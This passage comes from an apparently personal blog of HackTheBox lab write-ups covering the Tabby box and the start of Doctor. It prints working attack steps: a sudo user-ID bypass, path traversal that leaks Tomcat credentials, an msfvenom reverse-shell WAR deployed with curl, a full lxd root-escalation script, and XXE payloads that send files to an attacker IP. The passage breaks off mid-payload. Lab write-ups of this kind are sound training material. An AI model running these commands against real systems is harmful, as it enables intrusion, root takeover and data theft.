&gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Coincidentally, its exploitation requirements exactly matched what sudo -l showed for hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running sudo -u#-1 /bin/bash successfully escalated privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box was relatively simple. I did not encounter any new services, programs, or similar components.&lt;/p&gt;&#10;&lt;p&gt;It was a conventional box where the main requirement was methodology. I can only keep refining that methodology: every program may have vulnerabilities and needs to be checked individually.&lt;/p&gt;&#10;&lt;h2 id="25tabby"&gt;&lt;a href="#25tabby" class="header-anchor"&gt;&lt;/a&gt;25.Tabby&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no udp service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the conclusion directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an arbitrary file read. PHP wrappers did not seem to work, so I could not read the source of index.php or news.php.&lt;/p&gt;&#10;&lt;p&gt;I found nothing else afterward. The web root was still /var/www/html/index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point the path was obvious: find tomcat-users.xml and log in with it.&lt;/p&gt;&#10;&lt;p&gt;I tried many directories without success and gathered many wordlists. Only at the end did I find this path.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379" target="_blank" rel="noopener"&#10; &gt;https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This Q&amp;amp;A mentioned usr/share/tomcat9/etc/tomcat-users.xml.&lt;/p&gt;&#10;&lt;p&gt;After collecting this information, I sent the request to Burp Suite and eventually got the result. One thing worth noting is that the XML will not render in the HTML page; you have to press F12 and inspect the source.&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;admin-gui&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not log in to manage, only to &lt;a class="link" href="http://megahosting.htb:8080/host-manager/html" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb:8080/host-manager/html&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1578239" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1578239&lt;/a&gt;&#10;&lt;a class="link" href="https://blog.csdn.net/weixin_41924764/article/details/108196725" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_41924764/article/details/108196725&lt;/a&gt;&#10;These two posts were excellent and addressed this exact situation.&lt;/p&gt;&#10;&lt;p&gt;However, I tried a great many times and consulted several posts. It appeared that I had to define my domain on this site before I could use it; otherwise it would not work.&#10;I had to find another method. Searching by the role name led me to two tutorials.&lt;/p&gt;&#10;&lt;p&gt;I searched google for Apache Tomcat manager-script exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Both described the same vulnerability. I had assumed the war file could be built in the same way as one uploaded through the tomcat manager page, so I kept trying my own packages. Both tutorials instead used msfvenom to generate a war backdoor. Generally, oscp allows msf once, but the msfvenon used to generate a backdoor is not limited because it only generates the backdoor; only msfconsole is limited to one use.&lt;/p&gt;&#10;&lt;p&gt;The files I built myself never worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file pwn.war &amp;#34;http://megahosting.htb:8080/manager/text/deploy?path=/foo&amp;amp;update=true&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://megahosting.htb:8080/foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 9999&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That immediately returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I prepared for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;sudo -l, s, and suid all revealed nothing.&lt;/p&gt;&#10;&lt;p&gt;My first step was to inspect the www directory. new.php only provided arbitrary file read, not file inclusion.&lt;/p&gt;&#10;&lt;p&gt;But the file directory was owned by ash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I transferred it to kali with nc and extracted it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password. The recovered password was admin@it.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time examining the extracted files afterward, but found nothing. The only possible angle, as I understood it, was that the fgets function might allow file inclusion, but that was actually impossible.&lt;/p&gt;&#10;&lt;p&gt;I later wondered whether it might be ash&amp;rsquo;s password. I tried su, and it really was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation. I tried many things; sudo was unavailable, and pspy32 showed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was not useful either. Then I wondered whether the site on port 80 ran as root. If I wrote a php file into the files directory owned by ash,&lt;/p&gt;&#10;&lt;p&gt;could I escalate directly to root? In practice, files was not writable. Even chmod +w failed; its permissions were locked to read-only.&lt;/p&gt;&#10;&lt;p&gt;I also checked the sudo version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For each of these groups, I used find to look for executables or other files belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;There were none. Finally, I uploaded LinEnum.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned this. I did not know what lxd was, so I searched for it.&lt;/p&gt;&#10;&lt;p&gt;I found many exploits. The posts explained that membership in the lxd or lxc group could be used to become root.&lt;/p&gt;&#10;&lt;p&gt;kali also had a payload for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried following this payload, but it kept failing. Eventually, the first article in my google results solved it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After uploading it, execution kept failing. First I had to edit the exp because it did not define paths for lxc and lxd.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/usr/bin/env bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Authors: Marcelo Vazquez (S4vitar)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#9; Victor Lasa (vowkin)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Download build-alpine =&amp;gt; wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Build alpine =&amp;gt; bash build-alpine (as root user) [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Run this script and you will get root [Victim Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function helpPanel(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\nUsage:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-f] Filename (.tar.gz alpine file)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-h] Show this help panel\n&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function createContainer(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc image import $filename --alias alpine &amp;amp;&amp;amp; /snap/bin/lxd init --auto&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;[*] Listing images...\n&amp;#34; &amp;amp;&amp;amp; /snap/bin/lxc image list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc init alpine privesc -c security.privileged=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc start privesc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc exec privesc sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cleanup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function cleanup(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -en &amp;#34;\n[*] Removing container...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc stop privesc &amp;amp;&amp;amp; /snap/bin/lxc delete privesc &amp;amp;&amp;amp; /snap/bin/lxc image delete alpine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34; [√]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o nounset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o errexit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;declare -i parameter_enable=0; while getopts &amp;#34;:f:h:&amp;#34; arg; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; case $arg in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f) filename=$OPTARG &amp;amp;&amp;amp; let parameter_enable+=1;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; h) helpPanel;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ $parameter_enable -ne 1 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; helpPanel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; createContainer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I then followed the tutorial above to generate alpine-v3.8-i686-20241027_1315.tar.gz.&lt;/p&gt;&#10;&lt;p&gt;Next I transferred both files to the target and ran:&lt;/p&gt;&#10;&lt;p&gt;./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated privileges. I was stuck here for a very long time.&lt;/p&gt;&#10;&lt;p&gt;Half the problem was that generating alpine-v3.13-x86_64-20210218_0139.tar.gz kept failing.&lt;/p&gt;&#10;&lt;p&gt;The other half was that even after the privilege escalation succeeded, commands such as cat failed and the session crashed immediately. There was nothing I could do except keep resetting the machine and repeating every command to reach this point.&lt;/p&gt;&#10;&lt;p&gt;The 46978.sh file itself was easy to fix: it simply could not locate lxc and lxd, so I added their absolute paths.&lt;/p&gt;&#10;&lt;p&gt;I only later realized that my procedure was wrong. As 46978.sh explained, I only needed to enter /mnt/root to access every file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This still counted as conventional privilege escalation. I had not seen tomcat&amp;rsquo;s manager-host before, nor had I used lxd, but neither technique was unexpected. Usually you find an exp, understand it, and run it.&lt;/p&gt;&#10;&lt;p&gt;Using it for the first time simply wasted a great deal of time. I need to improve my search skills and read payloads more carefully.&lt;/p&gt;&#10;&lt;h2 id="26doctor"&gt;&lt;a href="#26doctor" class="header-anchor"&gt;&lt;/a&gt;26.Doctor&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The web page revealed a domain, which I added to hosts.&lt;/p&gt;&#10;&lt;p&gt;Visiting the domain again produced this page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering an account gave me direct access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both the source and the directory brute-forcing tool pointed to /archive.&lt;/p&gt;&#10;&lt;p&gt;At first, however, it was empty.&lt;/p&gt;&#10;&lt;p&gt;Interestingly, new message could be used to create a blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/post/1" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/post/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This showed what the 1 represented. The endpoint did not have sql injection or anything similar.&lt;/p&gt;&#10;&lt;p&gt;After I created a new message,&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;showed the item I had created. I made a major mistake here: I assumed it was XXE and spent a long time testing it. There was no response content. The following methods consistently failed, although the server did make the requests.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc/passwd&amp;#34;&amp;gt; ]&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;data&amp;gt;&amp;amp;example;&amp;lt;/data&amp;gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % file SYSTEM &amp;#34;file:///etc/hostname&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % eval &amp;#34;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#39;http://10.10.16.19:5000/evil.dtd?x=%file;&amp;#39;&amp;gt;&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%eval;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%exfiltrate;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 